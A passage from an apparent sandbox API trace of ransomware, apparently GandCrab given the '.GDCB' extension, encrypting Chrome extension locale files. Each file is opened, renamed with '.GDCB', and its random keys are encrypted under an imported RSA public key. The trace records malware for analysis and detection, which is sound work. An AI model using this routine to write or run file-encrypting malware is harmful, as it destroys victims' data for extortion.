Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0270.992] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0270.995] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0270.997] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x165, lpOverlapped=0x0) returned 1 [0271.005] VirtualAlloc (lpAddress=0x0, dwSize=0x170, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0271.012] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json.gdcb")) returned 1 [0271.017] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0271.020] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.022] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.022] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0271.022] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.022] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0271.024] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.026] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.026] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0271.026] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.026] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0271.029] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798ea0) returned 1 [0271.029] CryptGetKeyParam (in: hKey=0x6798ea0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.029] CryptEncrypt (in: hKey=0x6798ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0271.029] GetLastError () returned 0x0 [0271.029] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0271.029] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0271.031] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798be0) returned 1 [0271.031] CryptGetKeyParam (in: hKey=0x6798be0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.031] CryptEncrypt (in: hKey=0x6798be0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0271.031] GetLastError () returned 0x0 [0271.031] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.031] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0271.032] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0271.035] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0271.037] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x25f, lpOverlapped=0x0) returned 1 [0271.046] VirtualAlloc (lpAddress=0x0, dwSize=0x260, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0271.051] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json.gdcb")) returned 1 [0271.056] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0271.059] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.061] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.061] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0271.061] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.061] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0271.064] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.066] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.066] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0271.066] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.066] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0271.068] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798ee0) returned 1 [0271.068] CryptGetKeyParam (in: hKey=0x6798ee0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.068] CryptEncrypt (in: hKey=0x6798ee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0271.069] GetLastError () returned 0x0 [0271.069] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0271.069] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0271.071] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798aa0) returned 1 [0271.071] CryptGetKeyParam (in: hKey=0x6798aa0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.071] CryptEncrypt (in: hKey=0x6798aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0271.071] GetLastError () returned 0x0 [0271.071] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.071] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0271.072] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0271.076] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0271.078] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x147, lpOverlapped=0x0) returned 1 [0271.087] VirtualAlloc (lpAddress=0x0, dwSize=0x150, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0271.093] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json.gdcb")) returned 1 [0271.098] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0271.101] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.103] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.103] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0271.103] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.103] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0271.105] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.107] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.107] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0271.107] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0271.108] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0271.110] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798ae0) returned 1 [0271.110] CryptGetKeyParam (in: hKey=0x6798ae0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.110] CryptEncrypt (in: hKey=0x6798ae0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0271.110] GetLastError () returned 0x0 [0271.110] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.110] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0271.112] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798b20) returned 1 [0271.112] CryptGetKeyParam (in: hKey=0x6798b20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.112] CryptEncrypt (in: hKey=0x6798b20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0271.112] GetLastError () returned 0x0 [0271.112] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.112] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0271.114] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0271.116] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0271.118] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd9, lpOverlapped=0x0) returned 1 [0271.127] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0271.132] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json.gdcb")) returned 1 [0271.139] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0271.142] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.144] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.144] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0271.144] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.144] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0271.146] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.148] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.148] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0271.148] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0271.149] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0271.151] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798c20) returned 1 [0271.151] CryptGetKeyParam (in: hKey=0x6798c20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.151] CryptEncrypt (in: hKey=0x6798c20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0271.151] GetLastError () returned 0x0 [0271.151] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.151] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0271.153] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799760) returned 1 [0271.153] CryptGetKeyParam (in: hKey=0x6799760, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.153] CryptEncrypt (in: hKey=0x6799760, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0271.153] GetLastError () returned 0x0 [0271.153] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0271.153] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0271.154] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0271.158] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0271.160] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x1c2, lpOverlapped=0x0) returned 1 [0271.168] VirtualAlloc (lpAddress=0x0, dwSize=0x1d0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0271.178] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json.gdcb")) returned 1 [0271.183] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0271.186] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.189] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.189] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0271.189] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0271.189] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0271.193] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.196] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.196] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0271.196] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.196] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0271.198] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799220) returned 1 [0271.198] CryptGetKeyParam (in: hKey=0x6799220, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.198] CryptEncrypt (in: hKey=0x6799220, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0271.199] GetLastError () returned 0x0 [0271.199] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.199] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0271.200] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67996a0) returned 1 [0271.200] CryptGetKeyParam (in: hKey=0x67996a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.201] CryptEncrypt (in: hKey=0x67996a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0271.201] GetLastError () returned 0x0 [0271.201] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0271.201] 